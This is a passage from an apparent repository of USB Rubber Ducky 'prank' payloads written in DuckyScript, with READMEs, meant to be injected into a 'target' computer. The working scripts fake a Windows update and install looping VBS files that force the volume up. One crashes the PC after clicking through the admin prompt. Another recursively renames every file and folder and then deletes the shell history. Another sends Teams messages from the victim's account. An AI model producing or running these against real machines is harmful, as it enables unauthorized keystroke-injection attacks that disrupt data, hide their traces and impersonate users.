    "content": "Title: RickRoll ASCII<br>\nAuthor:\tUberGuidoZ<br>\nOriginal ASCII found online, cleaned it up and made it dance a bit.<br>\n\nDescription: Opens Notepad and types out the ASCII art<br>\nNotes: When done, payload causes screen to scroll to top and bottom<br>\nTarget:\tWindows but fairly easily modified to work on any OS with a text editor<br>\nVersion:\t1.2<br>\nCategory:\tPrank<br>\nSource: https://github.com/UberGuidoZ/OMG-Payloads\n"
  },
  {
    "path": "payloads/library/prank/RickRoll_ASCII/payload.txt",
    "content": "REM Title: RickRoll ASCII\nREM Author:\tUberGuidoZ\nREM Original ASCII found online, cleaned it up and made it dance a bit.\nREM\nREM Description: Opens Notepad and types out the ASCII art\nREM Notes: When done, payload causes screen to scroll to top and bottom\nREM Target:\tWindows but fairly easily modified to work on any OS with a text editor\nREM Version:\t1.2\nREM Category:\tPrank\nREM Source: https://github.com/UberGuidoZ/OMG-Payloads\nDELAY 2000\nGUI r\nDELAY 500\nSTRING notepad\nENTER\nDELAY 1000\nGUI UPARROW\nDELAY 500\nSTRING K00KKKKKKKKOOOOOOOOOOO0KKKKXKK00O000OOOOOOkkkkOO0KKKKKKXKKKKXKKKKK0OkxxkxxxxxxkO000KKKKKKKK000000000\nENTER\nSTRING 0000OO0O0OOOO000OO0000KKKK000OkkkkkkkkxxxxkkkkxkkkkkkOO00OOO00KKKKK0OkxxxxxxxxxkO00KKKKKKKKKK0000000\nENTER\nSTRING KKK0000OOOOOO0000000000OOOkkkkkOOOOkkkkkkxoolcclc:;;:clodkOOkkOOOOOOOkxxxxxkkkxxkkOOO000O00000000000\nENTER\nSTRING XXXXXXXKKKKK00000000000000OOkOOOOOkkkkkOOo:,'',,,,,,,',,:ldkkkkkkxxxxxxxxxkkkkxxkxxkkOOOO00KKKXK00KK\nENTER\nSTRING XXXXXXXXXNNXXK00000000KKXKKK00OOkkkOkkkkdl;,'.'..''''''',;;lxOkOOOkkkkxxkkkkkkkkkkkO0KKKKKXNNNNXK0KX\nENTER\nSTRING XXXXXXXNNNNXKK000000000KXXXXKKKOOOO0OOOkoc:;;;,,',,,,,,,,,,;lO00K000OkkkkkkkkO00KKKKXKXXXXXNNNNNX00K\nENTER\nSTRING XNNXXXXXKKKK00000000KK00KKKKK000OOO00kdloolooodoooddddool;,,cOKK000OkkkkkkkkkkO0KKKKXXXXXXXXNNNNK000\nENTER\nSTRING XXXXKK000000KXK0000KKK0000OOOOOOOkkkkd:codlloddddxxxxxxxxl;,lkOOkkkkkkkkxkkkkkkOO000KKKXXXXXNNNNXK00\nENTER\nSTRING K0K0000000KXXXK00000KXK0000000000Okkkdcldolccloddddxxxkxxo:;lkkkkxxxk00kxkkkkkkkkkkkk00KXKXXXNNNNNXK\nENTER\nSTRING 000000000XXNNX000000K0000KXXXXXXXK0Okkdddl::::codolllodddo::x0OkkkxxkOOkxkkkkOOOkkkkkkOO000KXNNNXXXX\nENTER\nSTRING KKKK0000KXNNNXKK000000KKKXNNNNXXXXX0xkOkdllccccoxxdolloodlcx0KKKKOkxxkkkkkkkkO000OkkkkkkkkOO0XXXXXXK\nENTER\nSTRING XXNXXKKKKXNWNXKKKKKKKXNNNNNNXXXXXXXOodOkolllllloxxxxxxxxdooOKKKKKKOOkkkkkkkkkOK000kkkkkkkkkkOO0KKXKK\nENTER\nSTRING XNNXXNXKKKXNNXKKKKKKKKNNNNNNXXXXXXX0xdkkollllccoddxxxxxxdddOKKKKKK0K0OkkkkkkkOKKKOkkkkO000OkkkkkO0KK\nENTER\nSTRING XXXXKK00KKKKKKK00K000KXNNNNNNNXXXXXK0O0kolllllodxxxxxxxddxk0KKK0KK0K0kkxxkkkkO00OkkOO000000OkkkkkkkO\nENTER\nSTRING KXXK000KXXXK0K000K00KXNWNNNNNNXXXXXK0KKkollcccloddddxxxkOOKK0KK0KK0K0kxxxxkkxkkkkkkkOO000K00OOkkkkkk\nENTER\nSTRING 00000KXNNNNNKK0000000KNNNNNNNNXXXXXK000kdollloodxxxdddx0K0KK0KK0KK0KKOkxxxxxxxxk00OkkkOKKK0OOkkOOOOO\nENTER\nSTRING 00000XNNNNNNXK0000000000KNNXNNXXXK0Okkkdolllclodddddddk000KK0KK0K000Okkxxxxxxkk000K0OkO000Okkkk00K0O\nENTER\nSTRING XXK00XNNNNNNX00000KKK0000KXXNNXXKOkkkkkdllccccclooodddxdxO0KKKKKK0OkkkkkkxxxxkO0KKKKK0OOOOOOOkkO00Ok\nENTER\nSTRING XNNK0KXNNNNNK00000KXNXK00OO00000Okkkkkkdllllloddddxddkx:;lx00K00OkkxkkOOkxxkkkO0KKKKK0O0KKXK0Okkkkkk\nENTER\nSTRING XXNK00XNNXNNK000000KK000OOOOkkkkkkOOOxooolllloodddddkOo'..';loddxxxkO00OkkkkkkO000KKKOOKXXXKK0OkkkO0\nENTER\nSTRING XXXX0OKXXXXXKOOOOO00OOO00KK0OOxxdxkOOxoodoollooooxxk0Oc.......'';::cllodxxkkkkO000KK0O0KXXXXK0OkkkO0\nENTER\nSTRING XXXXKO0KXXXX0OOOOOOOOO0KK0Oxol:;:okOOkooooolllodkO00Oo,................',;:cldO00000Ok0XXKXK0kkxkkkk\nENTER\nSTRING KXXXKOO00KXKOkkkkOOOOkkxoc:,'...'lkkkxlccclddxkOO00kl'.......................,oO0000kk0KKKX0kkkkkxxk\nENTER\nSTRING 0KK00OOOOOO0Okkkkkkdl:;,'.......'cxxddc:ccoxkOO00xo:..........................,d0OOkkk0KKK0kkxO0OOkx\nENTER\nSTRING OOOOO0KKK0OOOkkkkkx:.............',':lc::clolodxd:,............................lOkkkkkkO00kxkkO000Ox\nENTER\nSTRING kOOO0XXXXXX0OOOkkkd;................;cc::cloooll:'.............................'okOOOkxkkkxxkO0KKKOk\nENTER\nSTRING kkO0KXXXXNNKOOOkkko,................;cccccllllc:,...............................,dO00OkkxxxxxkkOO0Ok\nENTER\nSTRING kkkOKXXXXXXKOOOkkko'................;cloolccc::;................................,dOO0OOkkxxxxkkkkkkk\nENTER\nSTRING kkkkO0XKKXX0Okkkkko,................;cldxoc::;;'.................................cxOOOOkkkxxkO0000Ok\nENTER\nSTRING OkkkkOKKKXX0Okkkkxl'................;:oxxo:;;;,...................................;k0Okkkkkkkk0KKXK0\nENTER\nSTRING 0kkkkO0KXXX0OOkkkx:.................';lxkl;;;;,.........................    .......:dxkkkOOOkk0XXXXX\nENTER\nSTRING 00OkkOO0KXX0OOkkkx:.................',:loc;:::'........''..............     .........':okO00OkOKXXXN\nENTER\nSTRING KKOkOOOOKXX0OOkkkx:..................,;::::::;.........:llolcccc:'.....     .. .........;lk00OkOKXXX\nENTER\nSTRING OOkkO0OO0KX0OOkkkx:..... ............;:c::::;'.........:::clllllol;.....    .   ..........';okkk0KXX\nENTER\nSTRING xkkk0K0OO0KOkkkkkkl....  ............;:::;;;,..........';:cllllllol:....       ..............:xkk0KK\nENTER\nSTRING xkkkO0K0OOOOkkkkkko....   ...........,;;;,,,'...........';:ccllllloo:........................;xkkO0K\nENTER\nSTRING OO00OOOOkkkkkkkxxkc.....   ..........',;;,''.............';:ccllllooc'.......................;xkxk0K\nENTER\nSTRING 00KKK0Okkkkkkkxxxxc.....    ..........,;;,,,......... .........,;cllc,.......................'oxxxOO\nENTER\nSTRING 000KK0OOOkkkkkxxxd;........  .........';;,,,...                 ..,,'.. ......................:dxxxx\nENTER\nSTRING 000K0K000Okkkxxxxd:,,'...,:ccllc::;'..,;;;;,.                            ..,;,................:dddxx\nENTER\nSTRING OO00OO000Okkkxxxxxo,...,clolcc::;;,...,;;;,'.                           . ..................,cdddddx\nENTER\nSTRING O0000000Okkxxxxxdxo,..,,':l:;;;;;;,...,;;,'..                             .'''........'',;:oxkxddodd\nENTER\nSTRING OOO0OOkkkxxxxxxxddd:''...';;;;;;;;'...,,,'..               ...            .cddoollloodxxxkkkkkxdoood\nENTER\nSTRING OO0Okxxxxxxxxxxdddddc,....',;;,;;,. .'',,...               ....           .,dddxxxddddxxxxkxxdoooooo\nENTER\nSTRING kkkxxxxxxxxxddddddxdolc:,...',,''.. ..',,...                             ..'lddxxddddddxxxxxdooooooo\nENTER\nSTRING dddddxkkkxddddddddxkdoooc;'.....     ..''..                          .......cddddddddddddddddoddoooo\nENTER\nSTRING ooddxkkOkxdddddddxxkkxdooollc:,.      .''.                         .........;dddddddddddddooodddoooo\nENTER\nSTRING oodxkkkkkxddddddddxkkkkdollool,... .''','..                        .........,lddddddddddddddddddoooo\nENTER\nSTRING oodxkkkkkdddddddodxxxxxdollol:......,;;,,'.                         .........:oooddddddddoodddddoooo\nENTER\nSTRING ooodxxkkxddddoooodxkkxdollllc;......,;;,,'.                         .........,looooooooooooooddooooo\nENTER\nENTER\nENTER\nSTRING             #    # ###### #    # ###### #####       ####   ####  #    # #    #   ##\nENTER\nSTRING             ##   # #      #    # #      #    #     #    # #    # ##   # ##   #  #  #\nENTER\nSTRING             # #  # #####  #    # #####  #    #     #      #    # # #  # # #  # #    #\nENTER\nSTRING             #  # # #      #    # #      #####      #  ### #    # #  # # #  # # ######\nENTER\nSTRING             #   ## #       #  #  #      #   #      #    # #    # #   ## #   ## #    #\nENTER\nSTRING             #    # ######   ##   ###### #    #      ####   ####  #    # #    # #    #\nENTER\nENTER\nENTER                                                       \nSTRING                  ####  # #    # ######     #   #  ####  #    #     #    # #####\nENTER\nSTRING                 #    # # #    # #           # #  #    # #    #     #    # #    #\nENTER\nSTRING                 #      # #    # #####        #   #    # #    #     #    # #    #\nENTER\nSTRING                 #  ### # #    # #            #   #    # #    #     #    # #####\nENTER\nSTRING                 #    # #  #  #  #            #   #    # #    #     #    # #\nENTER\nSTRING                  ####  #   ##   ######       #    ####   ####       ####  #\nENTER\nDELAY 2000\nCTRL HOME\nDELAY 2000\nCTRL END"
  },
  {
    "path": "payloads/library/prank/RickUpdater/README.md",
    "content": "# Rick Updater\nA simple script that will load a fake Windows 10 update screen, and begin to rick roll the target at 100% volume and will continuously raise the volume back to 100% everytime you change it.\n"
  },
  {
    "path": "payloads/library/prank/RickUpdater/payload.txt",
    "content": "REM Title:         Rick Roll Updater\nREM Author:        MocconaCoffee\nREM Description:    Load a fake Windows 10 update screen and creates two Visual Basic Scripts *rickyou.vbs* and *volup.vbs* in the **%tmp%** directory.\nREM Description:    *rickyou.vbs* is responsible for playing the rick roll audio, while *volup.vbs* is responsible for maintaining the volume.\nREM Notes:          *The only way to cancel the rick roll is to manually end the VBS tasks via task manager or to sign out via CTRL ALT DELETE.\nREM Tested OS:     Windows 10 (other distributions of Windows haven't been tested, they may or may not work).\nDELAY 3000\nGUI r \nDELAY 100 \nSTRING https://fakeupdate.net/win10ue/ \nENTER \nDELAY 500 \nF11\nDELAY 500\nGUI r\nDELAY 200\nSTRING cmd\nENTER\nDELAY 200\nSTRING mode con: cols=20 lines=1\nENTER\nDELAY 200\nSTRING color fe\nENTER\nDELAY 500\nSTRING del %tmp%\\rickyou.vbs\nENTER\nDELAY 200\nSTRING del %tmp%\\volup.vbs\nENTER\nDELAY 200\nSTRING cd %tmp% && copy con rickyou.vbs\nENTER\nSTRING While true\nENTER\nSTRING Dim oPlayer\nENTER\nSTRING Set oPlayer = CreateObject(\"WMPlayer.OCX\")\nENTER\nSTRING oPlayer.URL = \"http://tinyurl.com/s63ve48\"\nENTER\nSTRING oPlayer.controls.play\nENTER\nSTRING While oPlayer.playState <> 1 ' 1 = Stopped\nENTER\nSTRING WScript.Sleep 100\nENTER\nSTRING Wend\nENTER\nSTRING oPlayer.close\nENTER\nSTRING Wend\nENTER\nDELAY 100\nCTRL z\nENTER\nSTRING copy con volup.vbs\nENTER\nSTRING do\nENTER\nSTRING Set WshShell = CreateObject(\"WScript.Shell\")\nENTER\nSTRING WshShell.SendKeys(chr(&hAF))\nENTER\nSTRING loop\nENTER\nCTRL z\nENTER\nSTRING start rickyou.vbs && volup.vbs\nENTER\nSTRING exit\nENTER"
  },
  {
    "path": "payloads/library/prank/Rick_Rolling_Forever/payload.txt",
    "content": "REM Title: Rick Rolling Forever\nREM Author:\tUberGuidoZ\nREM Inspired by burnttoast when assisting with a LONG script (over 2,750 lines!)\nREM\nREM Description: Creates a batch file that opens a Rick Roll every 5 mins in default browser\nREM Notes: Creates batch file, starts batch file, minimizes the window\nREM Target:\tWindows but fairly easily modified to work on any OS with a browser\nREM Version:\t1.5\nREM Category:\tPrank\nREM Source: https://github.com/UberGuidoZ/OMG-Payloads\nATTACKMODE HID STORAGE\nDELAY 2000\nGUI r\nDELAY 500\nSTRING cmd\nENTER\nDELAY 2000\nSTRING if exist rr.bat del /f /q rr.bat\nENTER\nDELAY 1000\nSTRING copy con rr.bat\nENTER\nSTRING @ECHO OFF\nENTER\nSTRING PING 127.0.0.1 -n 5 > NUL\nENTER\nSTRING :LOOP\nENTER\nSTRING start https://www.youtube.com/watch?v=dQw4w9WgXcQ\nENTER\nSTRING PING 127.0.0.1 -n 300 > NUL\nENTER\nSTRING GOTO LOOP\nENTER\nCTRL c\nDELAY 1000\nSTRING cls && rr.bat\nENTER\nGUI DOWNARROW\n"
  },
  {
    "path": "payloads/library/prank/Rickroll+BSOD/payload.dd",
    "content": "REM Author: H4K0N42\nREM Title: Rickroll+BSOD\nREM Target: Windows 10/11\nREM Description: Rickrolls the Target and crashes the PC.\n\n\nREM Run Attack\nGUI r\nDELAY 250\nSTRING powershell -w hidden \"start https://H4K0N42.github.io/nggyu/video.webm; timeout /NOBREAK /t 20; wininit\"\n\n\nREM Get Admin-Permission\nCTRL SHIFT ENTER\nDELAY 750\nLEFT\nDELAY 100\nENTER\n\n\nREM Fullscreen Rickroll\nDELAY 3000\nF11\n"
  },
  {
    "path": "payloads/library/prank/Same_File_Name_Prank/README.md",
    "content": "# Same File Name Prank\n\nThis script, titled **Rename Everything Similarly**, is written in **DuckyScript 3.0** and designed to rename files and directories recursively on **Windows** or **GNU/Linux** systems, depending on the target environment. The script renames directories and files within a specified directory, giving them sequential and similar names.\n\nSpecifically, the ability to add a blank space to the end of the name is used. On Windows systems, if file extension viewing is not enabled the names will look identical to the human eye, while on GNU/Linux systems the difference may be more easily noticed.\n\n![No extensions](https://github.com/aleff-github/Deposito/blob/main/Rename_Everything_Similarly/1.png?raw=true)\n\n> How does renaming files using spaces without seeing the extension appear on windows. - To the human eye they look identical.\n\n![With extensions](https://github.com/aleff-github/Deposito/blob/main/Rename_Everything_Similarly/2.png?raw=true)\n\n> What it looks like instead if you turn on the extension view.\n\n# Index\n\n1. [Features](#features)\n2. [Payload Structure](#payload-structure)\n   - [Conditional Target OS Execution](#conditional-target-os-execution)\n   - [PowerShell (Windows)](#powershell-windows)\n   - [Bash (GNU/Linux)](#bash-gnulinux)\n3. [How to Use](#how-to-use)\n4. [Why not MacOS?](#why-not-macos)\n5. [Notes](#notes)\n6. [Credits](#credits)\n\n\n## Features\n- **Cross-platform support**: The script can be executed on either **Windows** or **GNU/Linux** systems, based on the defined conditions, unfortunately it could not be published for macOS as well, [read more](#why-not-macos).\n- **Recursive renaming**: It renames all directories and files inside a given directory, iterating through subdirectories.\n- **Customizable**: Users can modify the base directory path and rename pattern as needed.\n\n## Payload Structure\n\n### Conditional Target OS Execution\nThe script detects (*from the DEFINE*) the target OS and adapts to either **Windows** or **GNU/Linux**:\n- If the target system is **Windows**, the script will execute a PowerShell script.\n- If the target system is **Linux**, it will execute a Bash script.\n\n### PowerShell (Windows)\nFor **Windows** systems, the script:\n- Opens **PowerShell** and runs the `Rename-Directories` and `Rename-Files` functions.\n- It renames directories by assigning sequential names like `d`, `dd`, etc., and files with names like `a`, `a `, `a  `, followed by their respective file extensions.\n\n### Bash (GNU/Linux)\nFor **GNU/Linux** systems, the script:\n- Opens a terminal and executes two Bash functions: `rename_directories` and `rename_files`.\n- It performs similar renaming of directories and files, using `mv` to rename them with sequential names (like `d`, `dd`, etc... or `a`, `a `, `a  ` etc...).\n\n## How to Use\n\n1. **Edit Definitions (*not mandatory, Windows by default*)**: Adjust the following definitions in the script according to your environment:\n   - `DEFINE #TARGET_WINDOWS TRUE`: Leave **#TARGET_WINDOWS** to **TRUE** if the script will run on a Windows system.\n\n   - `DEFINE #TARGET_GNU_LINUX FALSE`: Set **TARGET_LINUX** to **TRUE** if the script will run on a GNU/Linux system.\n   \n   - Ufortunately it could not be published for macOS as well, [read more](#why-not-macos).\n\n   - `#DIRECTORY_WHERE_TO_RUN_THE_COMMAND`: Specify the base directory where the renaming operation should occur, the default is `.` so the default route of Powershell and Bash.\n   \n      Consider that the main route for Windows generally is `C:\\Users\\Username\\` while for GNU/Linux systems it is something like `/home/username/` but in both cases if for istance you add `./Desktop/Hello/World/` you will go to the World folder in the path `C:\\Users\\Username\\Desktop\\Hello\\World\\` for Windows systems and `/home/username/Desktop/Hello/World/`.\n\n      Of course, you have to make sure that this folder exists....\n\n      ![Windows command](https://github.com/aleff-github/Deposito/blob/main/Rename_Everything_Similarly/3.png?raw=true)\n\n      > How Windows response to the command `cd ./Desktop/Hello/World/`\n\n      ![Ubuntu command](https://github.com/aleff-github/Deposito/blob/main/Rename_Everything_Similarly/4.png?raw=true)\n\n      > How Ubuntu response to the command `cd ./Desktop/Hello/World/`\n\n      Consider the maximum length of file names on both Windows and GNU/Linux:\n         \n      - [Limit on file name length in bash \\[closed\\]](https://stackoverflow.com/questions/6571435/limit-on-file-name-length-in-bash)\n         \n         |=> https://stackoverflow.com/questions/6571435/limit-on-file-name-length-in-bash\n\n      - [On Windows, what is the maximum file name length considered acceptable for an app to output? (Updated and clarified)](https://stackoverflow.com/questions/8674796/on-windows-what-is-the-maximum-file-name-length-considered-acceptable-for-an-ap)\n         \n         |=> https://stackoverflow.com/questions/8674796/on-windows-what-is-the-maximum-file-name-length-considered-acceptable-for-an-ap\n\n2. **Load Payload**: Upload the script to a USB Rubber Ducky device using the **DuckEncoder**.\n\n3. **Execute Payload**: Insert the USB Rubber Ducky into the target machine.\n\n## Why not MacOS?\n\nI am very sorry not to be able to release scripts for macOS systems as well but unfortunately not having one would be too risky to test it in a VM, at least in my opinion, so if someone from the community wants to contribute they could propose a pull request with the macOS version so that we can integrate it and make this payload cross-platfom.\n\nIf I could know the behavior of this script on macOS (*which probably remains completely unchanged from use on GNU/Linux systems*) it could be optimized in that it could be reduced to a **WINDOWS_PASSIVE_DETECT** where if it is not Windows (*so generally GNU/Linux or macOS systems*) the bash script may be fine.\n\n## Notes\n- Ensure that the specified directories exist on the target machine.\n- Use with caution on sensitive systems, as the renaming process is recursive and may affect large directories.\n- Contributions to add support for macOS are welcome.\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/Same_File_Name_Prank/payload.txt",
    "content": "REM_BLOCK\n#############################################\n#                                           #\n# Title        : Same File Name Prank       #\n# Author       : Aleff                      #\n# Version      : 1.0                        #\n# Category     : Prank                      #\n# Target       : Windows 10/11; GNU/Linux   #\n#                                           #\n#############################################\nEND_REM\n\nREM I am very sorry not to be able to release scripts for macOS systems as well but unfortunately not having one would be too risky to test it in a VM, at least in my opinion, so if someone from the community wants to contribute they could propose a pull request with the macOS version so that we can integrate it and make this payload cross-platfom.\n\nREM %%%%% DEFINE-SECTION %%%%%\nREM_BLOCK\n    \n    Consider that the main route for Windows generally is “C:\\Users\\Username\\” while for GNU/Linux systems it is something like “/home/username/” but in both cases if for example you add “./Desktop/Hello/World/” you will go to the World folder in the path “C:\\Users\\Username\\Desktop\\Hello\\World\\” for Windows systems and “/home/username/Desktop/Hello/World/” for **GNU/Linux** systems.\n\n    Of course, you have to make sure that this folder exists....\n\n    Payload Settings:\n        #DIRECTORY_WHERE_TO_RUN_THE_COMMAND - If you feel it is appropriate to run this script within a specific folder you will just need to change this definition.\n\n    Consider the maximum length of file names on both Windows and GNU/Linux:\n        - Limit on file name length in bash [closed]\n        |-> https://stackoverflow.com/questions/6571435/limit-on-file-name-length-in-bash\n        - On Windows, what is the maximum file name length considered acceptable for an app to output? (Updated and clarified)\n        |-> https://stackoverflow.com/questions/8674796/on-windows-what-is-the-maximum-file-name-length-considered-acceptable-for-an-ap\n\nEND_REM\nDEFINE #DIRECTORY_WHERE_TO_RUN_THE_COMMAND .\n\nREM Set TARGET_WINDOWS to TRUE if the script will run on a Windows system.\nREM Set TARGET_LINUX to TRUE if the script will run on a GNU/Linux system.\nDEFINE #TARGET_WINDOWS TRUE\nDEFINE #TARGET_GNU_LINUX FALSE\n\nREM %%%%% PAYLOAD-SECTION %%%%%\n\nIF (( #TARGET_WINDOWS == TRUE) && (#TARGET_GNU_LINUX == FALSE)) THEN\nREM %%%%% WINDOWS CODE %%%%%\n\n    REM_BLOCK\n        Credits:    Hak5 LLC\n        Website:    https://hak5.org/\n        Source:     https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt\n    END_REM\n\n    EXTENSION PASSIVE_WINDOWS_DETECT\n        REM VERSION 1.1\n        REM AUTHOR: Korben\n\n        REM_BLOCK DOCUMENTATION\n            Windows fully passive OS Detection and passive Detect Ready\n            Includes its own passive detect ready.\n            Does not require additional extensions.\n\n            USAGE:\n                Extension runs inline (here)\n                Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n                boot delay\n                $_OS will be set to WINDOWS or NOT_WINDOWS\n                See end of payload for usage within payload\n        END_REM\n\n        REM CONFIGURATION:\n        DEFINE #MAX_WAIT 150\n        DEFINE #CHECK_INTERVAL 20\n        DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n        DEFINE #NOT_WINDOWS 7\n\n        $_OS = #NOT_WINDOWS\n\n        VAR $MAX_TRIES = #MAX_WAIT\n        WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n            DELAY #CHECK_INTERVAL\n            $MAX_TRIES = ($MAX_TRIES - 1)\n        END_WHILE\n        IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n            $_OS = WINDOWS\n        END_IF\n\n        REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n            IF ($_OS == WINDOWS) THEN\n                STRING HELLO WINDOWS!\n            ELSE\n                STRING HELLO WORLD!\n            END_IF\n        END_REM\n    END_EXTENSION\n\n    GUI r\n    DELAY 1000\n    STRINGLN PowerShell\n    DELAY 1000\n\n    STRINGLN_POWERSHELL\n        cd #DIRECTORY_WHERE_TO_RUN_THE_COMMAND\n\n        function Rename-Directories {\n            param (\n                [string]$path,\n                [ref]$counter\n            )\n\n            $folders = Get-ChildItem -Path $path -Directory -Recurse | Sort-Object FullName -Descending\n            foreach ($folder in $folders) {\n                $newFolderName = \"d\" * $counter.Value  # Crea il nuovo nome della cartella\n                $newFolderPath = $newFolderName\n\n                $counter.Value++\n\n                Rename-Item -Path $folder.FullName -NewName $newFolderPath\n                Write-Host \"Rinominata cartella: $($folder.FullName) -> $($newFolderPath)\"\n            }\n        }\n\n        function Rename-Files {\n            param (\n                [string]$path,\n                [ref]$counter\n            )\n            $files = Get-ChildItem -Path $path -File -Recurse\n            foreach ($file in $files) {\n                $newFileName = \"a\" + \" \" * $counter.Value  # Crea il nuovo nome del file\n                $newFilePath = \"$newFileName\" + $file.Extension\n\n                $counter.Value++\n\n                Rename-Item -Path $file.FullName -NewName $newFilePath\n            }\n        }\n\n        $counter = 1; Rename-Directories -path $basePath -counter ([ref]$counter); $counter = 1; Rename-Files -path $basePath -counter ([ref]$counter); Remove-Item (Get-PSReadlineOption).HistorySavePath; exit\n    END_STRINGLN\n\nELSE IF (( #TARGET_WINDOWS == FALSE) && (#TARGET_GNU_LINUX == TRUE)) THEN\nREM %%%%% GNU/LINUX CODE %%%%%\n\n    REM_BLOCK\n        Credits:    Hak5 LLC\n        Website:    https://hak5.org/\n        Source:     https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/detect_ready.txt\n    END_REM\n\n    EXTENSION DETECT_READY\n        REM VERSION 1.1\n        REM AUTHOR: Korben\n\n        REM_BLOCK DOCUMENTATION\n            USAGE:\n                Extension runs inline (here)\n                Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n                boot delay\n\n            TARGETS:\n                Any system that reflects CAPSLOCK will detect minimum required delay\n                Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n        END_REM\n\n        REM CONFIGURATION:\n        DEFINE #RESPONSE_DELAY 25\n        DEFINE #ITERATION_LIMIT 120\n\n        VAR $C = 0\n        WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n            CAPSLOCK\n            DELAY #RESPONSE_DELAY\n            $C = ($C + 1)\n        END_WHILE\n        CAPSLOCK\n    END_EXTENSION\n\n    CTRL-ALT t\n    DELAY 1000\n\n    STRINGLN_BASH\n        cd #DIRECTORY_WHERE_TO_RUN_THE_COMMAND\n\n        rename_directories() {\n            local path=$1\n            local counter=$2\n            \n            directories=$(find \"$path\" -type d | sort -r)\n            \n            for dir in $directories; do\n                new_folder_name=$(printf 'd%.0s' $(seq 1 \"$counter\"))  # Crea il nuovo nome della cartella\n                new_folder_path=\"$path/$new_folder_name\"\n                \n                counter=$((counter + 1))\n                \n                mv \"$dir\" \"$new_folder_path\"\n            done\n        }\n\n        rename_files() {\n            local path=$1\n            local counter=$2\n            \n            files=$(find \"$path\" -type f)\n            \n            for file in $files; do\n                extension=\"${file##*.}\"\n                \n                new_file_name=\"a$(printf ' %.0s' $(seq 1 \"$counter\"))\"\n                \n                new_file_path=\"$(dirname \"$file\")/$new_file_name\"\n                \n                if [[ \"$extension\" != \"$file\" ]]; then\n                    new_file_path=\"$new_file_path.$extension\"\n                fi\n\n                counter=$((counter + 1))\n                \n                mv \"$file\" \"$new_file_path\"\n            done\n        }\n\n        counter=1; rename_directories \"$base_path\" $counter; counter=1; rename_files \"$base_path\" $counter; rm $HISTFILE; exit\n    END_STRINGLN\nEND_IF"
  },
  {
    "path": "payloads/library/prank/SendMessagesInTeams/README.md",
    "content": "# Send Messages In Teams\n\nA script used to prank your friends sending a message through the user Teams.\n\n**Category**: Prank\n\n## Description\n\nA script used to prank your friends sending a message through the user Teams.\n\nOpen a PowerShell, stop Teams if is runned, run Teams, run new message function, search the receiver, write and send some messages, then close the app.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Microsoft Teams installed and user logged-in\n* ExecutionPolicy Bypass\n* Python\n\n### Settings\n\n- Setup the receiver\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/SendMessagesInTeams/payload.txt",
    "content": "REM ###########################################\nREM #                                         |\nREM # Title        : Send Messages In Teams   |\nREM # Author       : Aleff                    |\nREM # Version      : 1.0                      |\nREM # Category     : Prank                    |\nREM # Target       : Windows 10-11            |\nREM #                                         |\nREM ###########################################\n\nREM Requirements:\nREM     - Microsoft Teams installed and user logged-in\nREM     - Internet Connection\nREM     - ExecutionPolicy Bypass\nREM     - Python\n\nREM 1. Open a powershell\nREM 2. Close if Teams is opens and reopen it\nREM 3. Goto search bar\nREM 4. Search the person by name, email, id or what you want...\nREM 5. Downarrow and enter to open the chat\n\nREM REQUIRED - Name, email, id or what you want for contact the target\nDEFINE USER-ID example\nREM REQUIRED - Messages\nDEFINE MESSAGE1 example\nREM ...\nREM DEFINE MESSAGEN example..\n\nDELAY 1000\nGUI r\nDELAY 1000\nSTRING powershell\nENTER\nDELAY 2000\n\nREM #### Powershell ####\nSTRINGLN Stop-Process -Name \"Teams\"\nDELAY 1000\nSTRINGLN Start-Process \"$Env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Teams (work or school)\"\nREM It depends by the computer power\nDELAY 10000\n\nREM #### Teams ####\nCTRL N\nDELAY 2000\nSTRING USER-ID\nENTER\nDELAY 2000\nTAB\nDELAY 1000\nTAB\nDELAY 1000\n\nREM #### Messages ####\nSTRING MESSAGE1\nENTER\nDELAY 1000\nREM ...\nREM STRINGLN MESSAGEN\n\nDELAY 500\nALT F4\nDELAY 500\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/SendSignalMessages/payload.txt",
